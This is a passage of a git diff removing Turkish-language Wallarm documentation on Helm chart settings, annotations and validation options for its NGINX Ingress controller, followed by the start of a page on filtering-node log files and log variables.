yapılandırmaya yönelik tüm seçenekler kullanılabilir. - -## Helm Chart için Ek Ayarlar - -Ayarlar [`values.yaml`](https://github.com/wallarm/ingress/blob/main/charts/ingress-nginx/values.yaml) dosyasında tanımlıdır. Varsayılan olarak, dosya aşağıdaki gibidir: - -```yaml -controller: - wallarm: - enabled: false - apiHost: api.wallarm.com - apiPort: 443 - apiSSL: true - token: "" - nodeGroup: defaultIngressGroup - existingSecret: - enabled: false - secretKey: token - secretName: wallarm-api-token - postanalytics: - kind: Deployment - service: - annotations: {} - arena: "2.0" - serviceAddress: "[::]:3313" - livenessProbe: - failureThreshold: 3 - initialDelaySeconds: 10 - periodSeconds: 10 - successThreshold: 1 - timeoutSeconds: 1 - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wallarm-appstructure: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wallarm-antibot: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - metrics: - port: 18080 - enabled: false - - service: - annotations: - prometheus.io/scrape: "true" - prometheus.io/path: /wallarm-metrics - prometheus.io/port: "18080" - - ## stats-exporter servisinin erişilebilir olduğu IP adresleri listesi - ## Bkz: https://kubernetes.io/docs/user-guide/services/#external-ips - ## - externalIPs: [] - - loadBalancerIP: "" - loadBalancerSourceRanges: [] - servicePort: 18080 - type: ClusterIP - init: - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wcliController: - logLevel: warn - commands: - apispec: - logLevel: INFO - blkexp: - logLevel: INFO - botexp: - logLevel: WARN - cntexp: - logLevel: ERROR - cntsync: - logLevel: INFO - credstuff: - logLevel: INFO - envexp: - logLevel: INFO - ipfeed: - logLevel: INFO - iplist: - logLevel: INFO - jwtexp: - logLevel: INFO - metricsexp: - logLevel: INFO - mrksync: - logLevel: INFO - register: - logLevel: INFO - reqexp: - logLevel: INFO - syncnode: - logLevel: INFO - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - wcliPostanalytics: - logLevel: warn - commands: - apispec: - logLevel: INFO - blkexp: - logLevel: INFO - botexp: - logLevel: WARN - cntexp: - logLevel: ERROR - cntsync: - logLevel: INFO - credstuff: - logLevel: INFO - envexp: - logLevel: INFO - ipfeed: - logLevel: INFO - iplist: - logLevel: INFO - jwtexp: - logLevel: INFO - metricsexp: - logLevel: INFO - mrksync: - logLevel: INFO - register: - logLevel: INFO - reqexp: - logLevel: INFO - syncnode: - logLevel: INFO - resources: {} - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - apiFirewall: - enabled: true - config: - ... - extraEnvs: - - name: EXTRA_ENV_VAR_NAME - value: EXTRA_ENV_VAR_VALUE - metrics: - enabled: false - port: 9010 - endpointPath: /metrics - host: ":9010" - service: - servicePort: 9010 - serviceMonitor: - ## ServiceMonitor kaynağının oluşturulmasını etkinleştirir - enabled: false - ## Prometheus örneğiyle eşleşmek için kullanılan ekstra etiketler - additionalLabels: {} - # -- ServiceMonitor'a eklenecek açıklamalar (annotations) - annotations: {} - ## İş adını almak için kullanılacak etiket - ## jobLabel: "app.kubernetes.io/name" - namespace: "" - namespaceSelector: {} - ## Varsayılan: yalnızca .Release.Namespace veya namespaceOverride'ı scrape et - ## Tüm ad alanlarını scrape etmek için aşağıdakini kullanın: - ## namespaceSelector: - ## any: true - scrapeInterval: 30s - # honorLabels: true - targetLabels: [] - relabelings: [] - metricRelabelings: [] -validation: - enableCel: false - forbidDangerousAnnotations: false -``` - -Bu ayarı değiştirmek için, `helm install` (Ingress controller kurulumu) veya `helm upgrade` (kurulu Ingress controller parametrelerinin güncellenmesi) komutlarının `--set` seçeneğini kullanmanızı öneririz. Örneğin: - -=== "Ingress controller kurulumu" - ```bash - helm install --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` -=== "Ingress controller parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.wallarm.enabled=true wallarm/wallarm-ingress -n - ``` - -Aşağıda yapılandırabileceğiniz başlıca parametrelerin açıklaması verilmiştir. Diğer parametreler varsayılan değerlerle gelir ve nadiren değiştirilmesi gerekir. - -### controller.wallarm.enabled - -Wallarm işlevlerini etkinleştirmenize veya devre dışı bırakmanıza olanak tanır. - -**Varsayılan değer**: `false` - -### controller.wallarm.apiHost - -Wallarm API uç noktası. Şunlardan biri olabilir: - -* [US Cloud](../about-wallarm/overview.md#cloud) için `us1.api.wallarm.com`. -* [EU Cloud](../about-wallarm/overview.md#cloud) için `api.wallarm.com`, - -**Varsayılan değer**: `api.wallarm.com` - -### controller.wallarm.token - -Bir filtreleme node token değeri. Wallarm API'ye erişim için gereklidir. - -Token, şu [türlerden][node-token-types] biri olabilir: - -* **API token (önerilir)** - UI organizasyonu için node gruplarını dinamik olarak ekleyip/çıkarmanız gerekiyorsa veya ek güvenlik için token yaşam döngüsünü kontrol etmek istiyorsanız idealdir. Bir API token oluşturmak için: - - Bir API token oluşturmak için: - - 1. Wallarm Console → **Settings** → **API tokens** bölümüne [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde gidin. - 1. **Node deployment/Deployment** kullanım türüyle bir API token oluşturun. - 1. Node dağıtımı sırasında, oluşturulan token'ı kullanın ve `controller.wallarm.nodeGroup` parametresiyle grup adını belirtin. Farklı API token'ları kullanarak bir gruba birden fazla node ekleyebilirsiniz. -* **Node token** - Kullanılacak node gruplarını zaten bildiğiniz durumlar için uygundur. - - Bir node token oluşturmak için: - - 1. Wallarm Console → **Nodes** bölümüne [US Cloud](https://us1.my.wallarm.com/nodes) veya [EU Cloud](https://my.wallarm.com/nodes) içinde gidin. - 1. Bir node oluşturun ve node grubu adını belirleyin. - 1. Node dağıtımı sırasında, o gruba dahil etmek istediğiniz her node için grubun token'ını kullanın. - -[`controller.wallarm.existingSecret.enabled: true`](#controllerwallarmexistingsecret) ise bu parametre yok sayılır. - -**Varsayılan değer**: `belirtilmemiş` - -### controller.wallarm.nodeGroup - -Helm chart 4.6.8 sürümünden itibaren, yeni dağıtılan node'ları eklemek istediğiniz filtreleme node grubu adını belirtir. Bu şekilde gruplama yalnızca, **Node deployment/Deployment** kullanım türüne sahip bir API token ile node'lar oluşturup Cloud'a bağladığınızda kullanılabilir (değeri `controller.wallarm.token` parametresiyle iletilir). - -**Varsayılan değer**: `defaultIngressGroup` - -### controller.wallarm.existingSecret - -Helm chart 4.4.1 sürümünden itibaren, bu yapılandırma bloğunu kullanarak Wallarm node token değerini Kubernetes secret'larından çekebilirsiniz. Ayrı giz yönetimi olan ortamlarda (ör. harici bir secrets operator kullanıyorsanız) faydalıdır. - -Node token'ı K8s secret'larında saklamak ve Helm chart'a çekmek için: - -1. Wallarm node token ile bir Kubernetes secret oluşturun: - - ```bash - kubectl -n create secret generic wallarm-api-token --from-literal=token= - ``` - - * ``, Wallarm Ingress controller'lı Helm yayını için oluşturduğunuz Kubernetes namespace'idir - * `wallarm-api-token`, Kubernetes secret adıdır - * ``, Wallarm Console UI'dan kopyalanan Wallarm node token değeridir - - Harici bir secrets operator kullanıyorsanız, bir secret oluşturmak için [uygun dokümantasyonu](https://external-secrets.io) izleyin. -1. `values.yaml` dosyasında aşağıdaki yapılandırmayı ayarlayın: - - ```yaml - controller: - wallarm: - token: "" - existingSecret: - enabled: true - secretKey: token - secretName: wallarm-api-token - ``` - -**Varsayılan değer**: `existingSecret.enabled: false`; bu durumda Helm chart, Wallarm node token'ını `controller.wallarm.token` değerinden alır. - -### controller.wallarm.postanalytics.arena - -Postanalytics servisi için ayrılan bellek miktarını belirtir. Son 5-15 dakikaya ait istek verilerini saklamak için yeterli bir değer ayarlanması önerilir. - -**Varsayılan değer**: `2.0` - -[NGINX Node 5.x ve öncesinde](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics), parametrenin adı `controller.wallarm.tarantool.arena` idi. Yükseltme sırasında yeniden adlandırma gerekir. - -### controller.wallarm.postanalytics.serviceAddress - -**wstore**'un gelen bağlantıları kabul ettiği adres ve portu belirtir. - -6.3.0 sürümünden itibaren desteklenir. - -**Varsayılan değer**: `[::]:3313` - tüm IPv4 ve IPv6 arayüzlerinde 3313 portunu dinler. Bu, 6.3.0'dan önceki sürümlerde de varsayılan davranıştı. - -### controller.wallarm.postanalytics.tls - -Postanalytics modülüne güvenli bağlantı sağlamak için TLS ve karşılıklı TLS (mTLS) ayarlarını yapılandırır (opsiyonel): - -```yaml -controller: - wallarm: - postanalytics: - tls: - enabled: false - # certFile: "/root/test-tls-certs/server.crt" - # keyFile: "/root/test-tls-certs/server.key" - # caCertFile: "/root/test-tls-certs/ca.crt" - # mutualTLS: - # enabled: false - # clientCACertFile: "/root/test-tls-certs/ca.crt" -``` - -6.2.0 sürümünden itibaren desteklenir. - -| Parametre | Açıklama | Gerekli mi? | -| --------- | -------- | ----------- | -| `enabled` | Postanalytics modülüne bağlantı için SSL/TLS'yi etkinleştirir veya devre dışı bırakır. Varsayılan olarak `false` (devre dışı). | Evet | -| `certFile` | Filtering Node'un, postanalytics modülüne SSL/TLS bağlantısı kurarken kendini kimlik doğrulaması için kullandığı istemci sertifikasının yolunu belirtir. | `mutualTLS.enabled` `true` ise Evet | -| `keyFile` | `certFile` ile sağlanan istemci sertifikasına karşılık gelen özel anahtarın yolunu belirtir. | `mutualTLS.enabled` `true` ise Evet | -| `caCertFile` | Postanalytics modülü tarafından sunulan TLS sertifikasını doğrulamak için kullanılan güvenilir Sertifika Yetkilisi (CA) sertifikasının yolunu belirtir. | Özel bir CA kullanılıyorsa Evet | -| `mutualTLS.enabled` | Hem Filtering Node hem de postanalytics modülünün birbirinin kimliğini sertifikalarla doğruladığı karşılıklı TLS'yi (mTLS) etkinleştirir. Varsayılan olarak `false` (devre dışı). | Hayır | -| `mutualTLS.clientCACertFile` | Filtering Node tarafından sunulan TLS sertifikasını doğrulamak için kullanılan güvenilir Sertifika Yetkilisi (CA) sertifikasının yolunu belirtir. | Özel bir CA kullanılıyorsa Evet | - -### controller.wallarm.metrics.enabled - -Bu anahtar, bilgi ve metrik toplamayı [açıp kapatır](configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md). Kubernetes kümesinde [Prometheus](https://github.com/helm/charts/tree/master/stable/prometheus) yüklüyse, ek bir yapılandırma gerekmez. - -**Varsayılan değer**: `false` - -### controller.wallarm.apiFirewall - -[API Specification Enforcement](../api-specification-enforcement/overview.md) yapılandırmasını kontrol eder; 4.10 sürümünden itibaren kullanılabilir. Varsayılan olarak etkinleştirilmiştir ve aşağıda gösterildiği gibi yapılandırılmıştır. Bu özelliği kullanıyorsanız, bu değerleri değiştirmemeniz önerilir. - -```yaml -controller: - wallarm: - apiFirewall: - ### API Firewall işlevselliğini etkinleştir/devre dışı bırak (true|false) - ### - enabled: true - readBufferSize: 8192 - writeBufferSize: 8192 - maxRequestBodySize: 4194304 - disableKeepalive: false - maxConnectionsPerIp: 0 - maxRequestsPerConnection: 0 - config: - mainPort: 18081 - healthPort: 18082 - specificationUpdatePeriod: 1m - unknownParametersDetection: true - #### TRACE|DEBUG|INFO|WARNING|ERROR - logLevel: DEBUG - ### TEXT|JSON - logFormat: TEXT - ... -``` - -Node 5.1.0 itibarıyla, aşağıdakiler sunulur (varsayılan değerler yukarıdaki örnekte gösterilmiştir): - -| Ayar | Açıklama | -| ---- | -------- | -| `readBufferSize` | İstek okuma için bağlantı başına arabellek boyutu. Bu aynı zamanda maksimum header boyutunu sınırlar. İstemcileriniz çok KB'lık RequestURI'ler ve/veya çok KB'lık header'lar (örneğin, BÜYÜK çerezler) gönderiyorsa bu arabelleği artırın. | -| `writeBufferSize` | Yanıt yazımı için bağlantı başına arabellek boyutu. | -| `maxRequestBodySize` | Maksimum istek gövdesi boyutu. Sunucu, bu sınırı aşan gövdelere sahip istekleri reddeder. | -| `disableKeepalive` | Keep-alive bağlantılarını devre dışı bırakır. Bu seçenek `true` olarak ayarlanırsa, sunucu ilk yanıtı gönderdikten sonra tüm gelen bağlantıları kapatır. | -| `maxConnectionsPerIp` | IP başına izin verilen eşzamanlı istemci bağlantılarının maksimum sayısı. `0` = `sınırsız`. | -| `maxRequestsPerConnection` | Bağlantı başına hizmet verilen isteklerin maksimum sayısı. Sunucu son istekten sonra bağlantıyı kapatır. Son yanıta `Connection: close` header'ı eklenir. `0` = `sınırsız`. | - -### controller.wallarm.apiFirewall.metrics - -6.5.1 sürümünden itibaren, [API Specification Enforcement](../api-specification-enforcement/overview.md) modülü Prometheus uyumlu metrikleri sunabilir. - -Etkinleştirildiğinde, metrikler varsayılan olarak `http://:9010/metrics` adresinde kullanılabilir. - -| Ayar | Açıklama | -| ---- | -------- | -| `enabled` | API Specification Enforcement modülü için Prometheus metriklerini etkinleştirir.
            Varsayılan: `false` (devre dışı). | -| `port` | API Specification Enforcement modülünün metrikleri sunduğu portu tanımlar. Bu değeri değiştirirseniz, `controller.wallarm.apiFirewall.metrics.service.servicePort` değerini de güncelleyin.
            Varsayılan: `9010`. | -| `endpointPath` | API Specification Enforcement metrik uç noktasının HTTP yolunu tanımlar.
            Varsayılan: `metrics`. | -| `host` | Metrik sunucusunu bağlamak için IP adresi ve port.
            Varsayılan: `:9010` (port 9010'da tüm arayüzler). | - -```yaml -controller: - wallarm: - apiFirewall: - metrics: - enabled: false - port: 9010 - endpointPath: /metrics - host: ":9010" - service: - servicePort: 9010 -``` - -### controller.wallarm.apiFirewall.metrics.serviceMonitor - -Prometheus Operator kullanıyorsanız (örneğin, kube-prometheus-stack'in bir parçası olarak), [API Specification Enforcement metriklerini](#controllerwallarmapifirewallmetrics) scrape etmek için chart'ın otomatik olarak bir `ServiceMonitor` kaynağı oluşturmasını yapılandırabilirsiniz. - -`serviceMonitor` yapılandırma seçenekleri 6.5.1 sürümünden itibaren mevcuttur. - -Varsayılan değerlerle yapılandırma seçenekleri: - -```yaml -controller: - wallarm: - apiFirewall: - metrics: - ... - serviceMonitor: - ## ServiceMonitor kaynağının oluşturulmasını etkinleştirir - enabled: false - ## Prometheus örneğiyle eşleşmek için kullanılan ekstra etiketler - additionalLabels: {} - # -- ServiceMonitor'a eklenecek açıklamalar (annotations) - annotations: {} - ## İş adını almak için kullanılacak etiket - ## jobLabel: "app.kubernetes.io/name" - namespace: "" - namespaceSelector: {} - ## Varsayılan: yalnızca .Release.Namespace veya namespaceOverride'ı scrape et - ## Tüm ad alanlarını scrape etmek için aşağıdakini kullanın: - ## namespaceSelector: - ## any: true - scrapeInterval: 30s - # honorLabels: true - targetLabels: [] - relabelings: [] - metricRelabelings: [] -``` - -### controller.wallarm.container_name.extraEnvs - -Çözüm tarafından kullanılan Docker konteynerlerine iletilecek ekstra ortam değişkenleri. 4.10.6 sürümünden itibaren desteklenir. - -Aşağıdaki örnek, `https_proxy` ve `no_proxy` değişkenlerinin Docker konteynerlerine nasıl geçirileceğini gösterir. Bu kurulum, giden HTTPS trafiğini belirlenmiş bir proxy üzerinden yönlendirir; yerel trafik ise onu atlar. Bu tür bir yapılandırma, Wallarm API'si ile olanlar gibi dış haberleşmelerin güvenlik nedeniyle bir proxy üzerinden geçirilmesi gereken ortamlarda önemlidir. - -```yaml -controller: - wallarm: - apiHost: api.wallarm.com - enabled: "true" - token: - init: - extraEnvs: - - name: https_proxy - value: https://1.1.1.1:3128 -``` - -### validation.enableCel - -`Ingress` kaynaklarının [Doğrulayıcı Kabul Politikaları](https://kubernetes.io/docs/reference/access-authn-authz/validating-admission-policy/) kullanılarak doğrulanmasını etkinleştirir. - -Bu özellik için gereklidir: - -* Kubernetes v1.30 veya üzeri -* Wallarm Helm chart sürümü 5.3.14+ (5.x serisi) veya 6.0.2+ - -`true` olarak ayarlandığında, Helm chart aşağıdakileri dağıtır: - -* Tüm `Ingress` kaynakları (`networking.k8s.io/v1`) için CEL kurallarını tanımlayan `ValidatingAdmissionPolicy ingress-safety-net` -* Bu kuralları `cluster-wide` olarak `Deny` eylemiyle çalıştıran `ValidatingAdmissionPolicyBinding ingress-safety-net-binding` - -Varsayılan kurallar, tipik olarak `nginx -t` ile tespit edilen yaygın yanlış yapılandırmaları yakalar: - -* Joker ana bilgisayar adlarını yasaklama (ör. `*.example.com`) -* Bir Ingress içindeki tüm host değerlerinin benzersiz olmasını sağlama -* Her HTTP yolunun bir servis adı ve port içerdiğini doğrulama -* Tüm yolların `/` ile başlamasını gerektirme -* Yaygın boyut/zaman/boolean annotation formatlarını doğrulama (`proxy-buffer-size`, `proxy-read-timeout`, `ssl-redirect`) - -Doğrulama, Ingress oluşturma veya güncelleme sırasında gerçekleşir ve yanlış yapılandırılmış kaynaklar reddedilir. - -Bu mekanizma, [CVE-2025-1974](https://nvd.nist.gov/vuln/detail/CVE-2025-1974) nedeniyle şu anda [upstream NGINX Ingress Controller](https://github.com/kubernetes/ingress-nginx)'da devre dışı olan şablon testinin yerini alır. - -**Varsayılan değer**: `false` - -**Doğrulama kurallarını özelleştirme** - -Varsayılan kural setini [Common Expression Language (CEL)](https://github.com/google/cel-spec) kullanarak genişletebilir veya değiştirebilirsiniz: - -1. İstenen sürümün [Wallarm Helm chart'ını indirin](https://github.com/wallarm/helm-charts/tree/main/wallarm-ingress). -1. `templates/ingress-safety-vap.yaml` dosyasındaki kuralları değiştirin. -1. Chart'ı, [standart dağıtım talimatlarına](installation-kubernetes-en.md) göre değiştirilmiş dizinden dağıtın. - -### validation.forbidDangerousAnnotations - -Açıkça tehlikeli NGINX Ingress annotation'larını `server-snippet` ve `configuration-snippet` engelleyen ek bir CEL kuralını etkinleştirir. - -Tüm snippet annotation'larına izin vermek saldırı yüzeyini genişletir: Ingress oluşturma veya güncelleme iznine sahip herhangi bir kullanıcı güvensiz veya kararsız davranışlar ekleyebilir. - -Bu özellik için gereklidir: - -* Kubernetes v1.30 veya üzeri -* Wallarm Helm chart sürümü 6.3.0+ -* [`validation.enableCel`](#validationenablecel) `true` olarak ayarlanmış olmalı - -!!! info "Node 6.2.0 ve öncesindeki davranış" - Node 6.2.0 ve önceki sürümlerde, [`validation.enableCel`](#validationenablecel) `true` olduğunda açıkça tehlikeli `server-snippet` ve `configuration-snippet` varsayılan olarak engellenir. - -**Varsayılan değer**: `false` (açıkça tehlikeli `server-snippet` ve `configuration-snippet` annotation'larının engellenmesi devre dışıdır) - -## Global Controller Settings - -[ConfigMap](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/configmap/) aracılığıyla uygulanır. - -Standart olanların yanı sıra, aşağıdaki ek parametreler desteklenir: - -* [wallarm-acl-export-enable](configure-parameters-en.md#wallarm_acl_export_enable) -* [wallarm-upstream-connect-attempts](configure-parameters-en.md#wallarm_wstore_upstream) -* [wallarm-upstream-reconnect-interval](configure-parameters-en.md#wallarm_wstore_upstream) -* [wallarm-process-time-limit](configure-parameters-en.md#wallarm_process_time_limit) -* [wallarm-process-time-limit-block](configure-parameters-en.md#wallarm_process_time_limit_block) -* [wallarm-request-memory-limit](configure-parameters-en.md#wallarm_request_memory_limit) - -## Ingress Annotation'ları - -Bu annotation'lar, Ingress'in bireysel örneklerinin işlenmesine yönelik parametreleri ayarlamak için kullanılır. - -[Standart olanlara ek olarak](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/), aşağıdaki ek annotation'lar desteklenir: - -* [nginx.ingress.kubernetes.io/wallarm-mode](configure-parameters-en.md#wallarm_mode), varsayılan: `"off"` -* [nginx.ingress.kubernetes.io/wallarm-mode-allow-override](configure-parameters-en.md#wallarm_mode_allow_override) -* [nginx.ingress.kubernetes.io/wallarm-fallback](configure-parameters-en.md#wallarm_fallback) -* [nginx.ingress.kubernetes.io/wallarm-application](configure-parameters-en.md#wallarm_application) -* [nginx.ingress.kubernetes.io/wallarm-block-page](configure-parameters-en.md#wallarm_block_page) -* [nginx.ingress.kubernetes.io/wallarm-parse-response](configure-parameters-en.md#wallarm_parse_response) -* [nginx.ingress.kubernetes.io/wallarm-parse-websocket](configure-parameters-en.md#wallarm_parse_websocket) -* [nginx.ingress.kubernetes.io/wallarm-unpack-response](configure-parameters-en.md#wallarm_unpack_response) -* [nginx.ingress.kubernetes.io/wallarm-parser-disable](configure-parameters-en.md#wallarm_parser_disable) -* [nginx.ingress.kubernetes.io/wallarm-partner-client-uuid](configure-parameters-en.md#wallarm_partner_client_uuid) - -### Annotation'ı Ingress kaynağına uygulama - -Ayarları Ingress'inize uygulamak için lütfen aşağıdaki komutu kullanın: - -``` -kubectl annotate --overwrite ingress -n = -``` - -* ``, Ingress'inizin adıdır -* ``, Ingress'inizin namespace'idir -* ``, yukarıdaki listeden annotation adıdır -* ``, yukarıdaki listeden annotation değeridir - -### Annotation örnekleri - -#### Engelleme sayfası ve hata kodunun yapılandırılması - -`nginx.ingress.kubernetes.io/wallarm-block-page` annotation'ı, aşağıdaki nedenlerle engellenen isteğe verilecek yanıtta döndürülen engelleme sayfasını ve hata kodunu yapılandırmak için kullanılır: - -* İstek, şu türde kötü amaçlı yükler içerir: [girdi doğrulama saldırıları](../attacks-vulns-list.md#attack-types), [vpatch saldırıları](../user-guides/rules/vpatch-rule.md) veya [düzenli ifadelere dayalı olarak tespit edilen saldırılar](../user-guides/rules/regex-rule.md). -* Yukarıdaki listeden kötü amaçlı yükler içeren istek, [gri listeye alınmış IP adresinden](../user-guides/ip-lists/overview.md) gelmiştir ve node, istekleri güvenli engelleme [modunda](configure-wallarm-mode.md) filtreler. -* İstek, [yasaklı listede (denylist) olan IP adresinden](../user-guides/ip-lists/overview.md) gelmiştir. - -Örneğin, herhangi bir engellenen isteğe verilecek yanıtta varsayılan Wallarm engelleme sayfasını ve 445 hata kodunu döndürmek için: - -``` bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/usr/share/nginx/html/wallarm_blocked.html response_code=445 type=attack,acl_ip,acl_source" -``` - -[Engelleme sayfası ve hata kodu yapılandırma yöntemleri hakkında daha fazla bilgi →](configuration-guides/configure-block-page-and-code.md) - -#### libdetection modunu yönetme - -!!! info "**libdetection** varsayılan modu" - **libdetection** kütüphanesinin varsayılan modu `on` (etkin) değerindedir. - -[**libdetection**](../admin-en/configure-parameters-en.md#wallarm_enable_libdetection) modunu aşağıdaki seçeneklerden biriyle kontrol edebilirsiniz: - -* Aşağıdaki [`nginx.ingress.kubernetes.io/server-snippet`](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet) annotation'ını Ingress kaynağına uygulayarak: - - ```bash - kubectl annotate --overwrite ingress -n nginx.ingress.kubernetes.io/server-snippet="wallarm_enable_libdetection off;" - ``` - - `wallarm_enable_libdetection` için kullanılabilir değerler `on`/`off`'tur. -* `controller.config.server-snippet` parametresini Helm chart'a geçirerek: - - === "Ingress controller kurulumu" - ```bash - helm install --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - Doğru Ingress controller kurulumu için [diğer parametreler](#additional-settings-for-helm-chart) de gereklidir. Lütfen bunları da `--set` seçeneğiyle iletin. - === "Ingress controller parametrelerini güncelleme" - ```bash - helm upgrade --reuse-values --set controller.config.server-snippet='wallarm_enable_libdetection off;' wallarm/wallarm-ingress -n - ``` - - `wallarm_enable_libdetection` için kullanılabilir değerler `on`/`off`'tur. \ No newline at end of file diff --git a/docs/latest-tr/admin-en/configure-logging.md b/docs/latest-tr/admin-en/configure-logging.md deleted file mode 100644 index 3f2bc1445d..0000000000 --- a/docs/latest-tr/admin-en/configure-logging.md +++ /dev/null @@ -1,105 +0,0 @@ -[link-nginx-logging-docs]: https://docs.nginx.com/nginx/admin-guide/monitoring/logging/ -[doc-vuln-list]: ../attacks-vulns-list.md -[doc-lom]: ../user-guides/rules/rules.md#ruleset-lifecycle -[antibot]: ../api-abuse-prevention/overview.md -[resource-overlimit]: ../attacks-vulns-list.md#resource-overlimit -[acl]: ../user-guides/ip-lists/overview.md - -# Filtreleme Düğümü Günlükleriyle Çalışma - -Bu makale, bir Wallarm filtreleme düğümünün günlük dosyalarını nasıl bulacağınız konusunda yol gösterir. - -Günlük dosyaları `/opt/wallarm/var/log/wallarm` dizininde bulunur. Karşılaşacağınız günlük dosyalarının dökümü ve her birinin içerdiği bilgi türü aşağıdadır: - -* `api-firewall-out.log`: [API specification enforcement](../api-specification-enforcement/overview.md) günlüğü. -* `appstructure-out.log` (yalnızca Docker konteynerlerinde): [API Discovery](../api-discovery/overview.md) modülü etkinliği günlüğü. -* `wstore-out.log` ([NGINX Node 5.x ve daha eski sürümlerde](../updating-migrating/what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) `tarantool-out.log`): postanalytics modülünün işlemlerinin günlüğü. -* `wcli-out.log`: çoğu Wallarm servisinin günlükleri; kaba kuvvet tespiti, saldırıların Cloud’a aktarımı ve düğümün Cloud ile senkronizasyon durumu vb. dahil. -* `supervisord-out.log`: servis başlatmaları, durum değişiklikleri ve uyarılar dahil olmak üzere Supervisor süreç yönetimi günlükleri. -* `go-node.log`: [Native Node](../installation/nginx-native-node-internals.md#native-node) günlükleri. - -## NGINX‑Tabanlı Filtreleme Düğümü için Genişletilmiş Günlüklemeyi Yapılandırma - -NGINX, işlenen isteklerin günlüklerini (erişim günlükleri) varsayılan olarak önceden tanımlı `combined` günlük biçimini kullanarak ayrı bir günlük dosyasına yazar. - -``` -log_format combined '$remote_addr - $remote_user [$time_local] ' - '"$request" $request_id $status $body_bytes_sent ' - '"$http_referer" "$http_user_agent" '; -``` - -Gerekirse diğer NGINX değişkenleriyle birlikte bir veya birkaç filtre düğümü değişkeni ekleyerek özel bir günlük biçimi tanımlayıp kullanabilirsiniz. NGINX günlük dosyası, filtre düğümünün çok daha hızlı teşhis edilmesine olanak tanır. - -### Filtre Düğümü Değişkenleri - -NGINX günlük biçimini tanımlarken aşağıdaki filtre düğümü değişkenlerini kullanabilirsiniz: - -|Ad|Tür|Değer| -|---|---|---| -|`request_id`|String|İstek tanımlayıcısı
            Şu biçimdedir: `a79199bcea606040cc79f913325401fb`| -|`wallarm_request_cpu_time`|Float|Filtreleme düğümünün bulunduğu makinenin CPU’sunun isteği işlerken harcadığı süre (saniye cinsinden).| -|`wallarm_request_mono_time`|Float|CPU’nun isteği işlerken harcadığı süre + kuyruktaki süre (saniye cinsinden). Örneğin, istek 3 saniye kuyrukta bekledi ve CPU tarafından 1 saniyede işlendi ise:
            • `"wallarm_request_cpu_time":1`
            • `"wallarm_request_mono_time":4`
            | -|`wallarm_serialized_size`|Integer|Serileştirilmiş isteğin boyutu (bayt cinsinden)| -|`wallarm_is_input_valid`|Integer|İsteğin geçerliliği
            `0` - istek geçerli. İstek filtre düğümü tarafından kontrol edilmiştir ve LOM kuralları ile eşleşmektedir.
            `1` - istek geçersiz. İstek filtre düğümü tarafından kontrol edilmiştir ve LOM kuralları ile eşleşmemektedir.| -| `wallarm_attack_type_list` | String | İstekte tespit edilen [saldırı türleri][doc-vuln-list]. Türler metin formatında sunulur:
            • xss
            • sqli
            • rce
            • xxe
            • ptrav
            • crlf
            • redir
            • nosqli
            • infoleak
            • overlimit_res
            • data_bomb
            • vpatch
            • ldapi
            • scanner
            • mass_assignment
            • ssrf
            • ssi
            • mail_injection
            • ssti
            • invalid_xml
            • file_upload_violation
            • [API specification violations](../api-specification-enforcement/overview.md):
              • undefined_endpoint
              • undefined_parameter
              • missing_auth
              • missing_parameter
              • invalid_parameter_value
              • invalid_request
              • processing_overlimit
            • blocked_source
            • GraphQL saldırıları:
              • gql_aliases
              • gql_debug
              • gql_depth
              • gql_doc_size
              • gql_docs_per_batch
              • gql_introspection
              • gql_value_size
            • [Trigger](../user-guides/triggers/triggers.md) tabanlı saldırılar (tür yalnızca bir trigger kaynağı denylist’e veya graylist’e aldığında döndürülür):
              • brute
              • dirbust
              • bola
              • [vectors](configuration-guides/protecting-with-thresholds.md)
            • [API Abuse](../api-abuse-prevention/overview.md) (tür yalnızca modül kaynağı denylist’e veya graylist’e aldığında döndürülür):
              • bot
              • api_abuse
              • account_takeover
              • security_crawlers
              • scraping
              • resource_consumption
            • credential_stuffing
            Bir istek içinde birden fazla saldırı türü tespit edilirse, türler `|` simgesiyle listelenir. Örneğin: XSS ve SQLi saldırıları tespit edilirse değişken değeri `xss|sqli` olur. -|`wallarm_attack_type`|Integer|İstekte tespit edilen [saldırı türleri][doc-vuln-list]. Türler bit dizesi formatında sunulur:
            • `0x00000000` - saldırı yok - `"0"`
            • `0x00000002` - xss - `"2"`
            • `0x00000004` - sqli - `"4"`
            • `0x00000008` - rce - `"8"`
            • `0x00000010` - xxe - `"16"`
            • `0x00000020` - ptrav - `"32"`
            • `0x00000040` - crlf - `"64"`
            • `0x00000080` - redir - `"128"`
            • `0x00000100` - nosqli - `"256"`
            • `0x00000200` - infoleak - `"512"`
            • `0x20000000` - overlimit_res - `"536870912"`
            • `0x40000000` - data_bomb - `"1073741824"`
            • `0x80000000` - vpatch - `"2147483648"`
            • `0x00002000` - ldapi - `"8192"`
            • `0x4000` - scanner - `"16384"`
            • `0x20000` - mass_assignment - `"131072"`
            • `0x80000` - ssrf - `"524288"`
            • `0x02000000`- ssi - `"33554432"`
            • `0x04000000` - mail_injection - `"67108864"`
